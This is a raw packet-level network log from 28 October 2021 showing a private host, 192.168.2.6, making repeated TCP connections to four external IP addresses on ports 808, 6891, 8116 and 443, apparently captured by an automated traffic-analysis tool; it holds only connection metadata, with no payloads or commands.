Oct 28, 2021 04:58:30.029426098 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.029584885 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.030303955 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.142625093 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:30.142751932 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:30.202678919 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.202713013 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.202943087 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.203944921 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.211220026 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.211343050 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.376188040 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.383542061 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.383568048 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.383583069 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.383595943 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.534802914 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:30.534828901 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:30.534924984 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:30.534979105 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:30.538487911 CEST	49813	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:30.649754047 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.703463078 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.703736067 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.704606056 CEST	6891	49813	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:30.704780102 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.758132935 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.758384943 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.758668900 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.759147882 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.765166044 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.765285015 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.767219067 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.767235994 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.767294884 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.773448944 CEST	49814	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:30.818696976 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.818948030 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.887729883 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:30.945781946 CEST	808	49814	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:30.988200903 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.988223076 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:30.988327026 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:30.991882086 CEST	49815	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:31.046129942 CEST	8116	49815	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:31.054078102 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.054291964 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.055095911 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.149853945 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.149913073 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:31.150007963 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.150716066 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.150728941 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:31.223182917 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.223335981 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.223412991 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.224709034 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.229942083 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.230087042 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.396172047 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.396193981 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.434346914 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.666115046 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:31.666317940 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.671982050 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.672029018 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:31.673306942 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.673340082 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:31.673474073 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:31.673492908 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:31.776639938 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.776673079 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.776859999 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.783490896 CEST	49816	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:31.900192022 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:31.948760033 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:31.948997021 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:31.949587107 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:31.949737072 CEST	6891	49816	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:31.997894049 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:31.998200893 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:31.998303890 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:31.998781919 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:32.002347946 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:32.002460003 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:32.050723076 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:32.051023960 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:32.241094112 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:32.241122961 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:32.241250038 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:32.241306067 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:32.248193026 CEST	49818	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:32.296745062 CEST	8116	49818	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:32.373379946 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.373450994 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.373580933 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.374264956 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.374305010 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.379609108 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.379708052 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.379884958 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.386116982 CEST	49817	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.386177063 CEST	443	49817	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.509586096 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.671907902 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:32.672159910 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.672946930 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.834676027 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:32.834810972 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:32.834949017 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.835663080 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.840642929 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.840742111 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:32.866393089 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.866624117 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.867378950 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.867403984 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.873799086 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.873830080 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.874022961 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:32.874041080 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:32.997353077 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.002434969 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.002468109 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.002476931 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.385191917 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.385238886 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.385423899 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:33.389245033 CEST	49820	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:33.509648085 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.550935984 CEST	808	49820	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.567415953 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:33.567495108 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:33.567537069 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:33.567591906 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:33.575541019 CEST	49819	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:33.575587988 CEST	443	49819	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:33.676117897 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:33.676259995 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.677375078 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.747720003 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:33.843719959 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:33.843755960 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:33.843866110 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.844944954 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.851296902 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.851439953 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:33.907550097 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:33.907752037 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:33.918626070 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.017690897 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.017735004 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.017745972 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.078404903 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.078512907 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.078619003 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.079236984 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.085445881 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.085577011 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.238862991 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.245152950 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.245189905 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.245212078 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.245232105 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.394192934 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.394223928 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.394284964 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:34.394309044 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:34.397733927 CEST	49821	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:34.512789965 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.564101934 CEST	6891	49821	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.570025921 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.570163012 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.570914030 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.627851009 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.628019094 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.628119946 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.628714085 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.629606009 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.629633904 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.629698992 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.629730940 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.633086920 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.633229017 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.638606071 CEST	49822	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:34.690226078 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.760153055 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:34.798273087 CEST	808	49822	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:34.860979080 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.861037016 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.861161947 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.861192942 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.864188910 CEST	49823	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:34.921150923 CEST	8116	49823	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:34.927016020 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:34.927261114 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:34.928009987 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:34.978411913 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:34.978461981 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:34.978602886 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:34.979357958 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:34.979384899 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:35.093245029 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.093297958 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.093508959 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.094114065 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.100013018 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.100126028 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.265341043 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.265379906 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.495099068 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:35.495354891 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:35.496054888 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:35.496076107 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:35.502530098 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:35.502552032 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:35.502743006 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:35.502759933 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:35.647928953 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.647974968 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.648153067 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.648216963 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.655230045 CEST	49824	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:35.779570103 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.820576906 CEST	6891	49824	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:35.826987028 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:35.827279091 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.828121901 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.875241995 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:35.875427961 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:35.875536919 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.876152992 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.881441116 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.881550074 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:35.928525925 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:35.929200888 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:36.113635063 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:36.113673925 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:36.113893986 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:36.114031076 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:36.121644974 CEST	49826	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:36.168741941 CEST	8116	49826	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:36.210505962 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.210588932 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.210778952 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.214082003 CEST	49825	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.214124918 CEST	443	49825	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.247765064 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.247807980 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.247957945 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.248862028 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.248886108 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.337656975 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.499002934 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.499226093 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.499950886 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.661674023 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.661802053 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.661892891 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.662338018 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.666456938 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.666610003 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:36.770405054 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.770625114 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.771666050 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.771683931 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.778362036 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.778383970 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.778491974 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:36.778506041 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:36.822916985 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.827043056 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.827073097 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.827090025 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:36.827105999 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:37.212634087 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:37.212661982 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:37.212770939 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:37.218178034 CEST	49828	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:37.339867115 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.378742933 CEST	808	49828	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:37.495506048 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:37.495594978 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:37.495671034 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:37.495699883 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:37.503171921 CEST	49827	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:37.503211021 CEST	443	49827	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:37.506336927 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:37.506869078 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.507699966 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.674040079 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:37.674072981 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:37.674163103 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.676223040 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.688345909 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.688626051 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:37.726355076 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:37.858172894 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:37.858207941 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:37.858222961 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:37.890505075 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:37.890615940 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:37.891408920 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.055460930 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.055790901 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.055912018 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.056407928 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.062640905 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.062773943 CEST	49830	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:38.222568989 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.227390051 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.227454901 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.227515936 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.227570057 CEST	808	49830	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:38.237915993 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:38.237951994 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:38.238228083 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:38.243113041 CEST	49829	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:38.365268946 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.409521103 CEST	6891	49829	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:38.422472000 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.423119068 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.424083948 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.481165886 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.481375933 CEST	8116	49831	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:38.481482983 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.482038021 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.486763000 CEST	49831	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:38.486888885 CEST	49831	8116	192.168.2.6	185.56.219.47
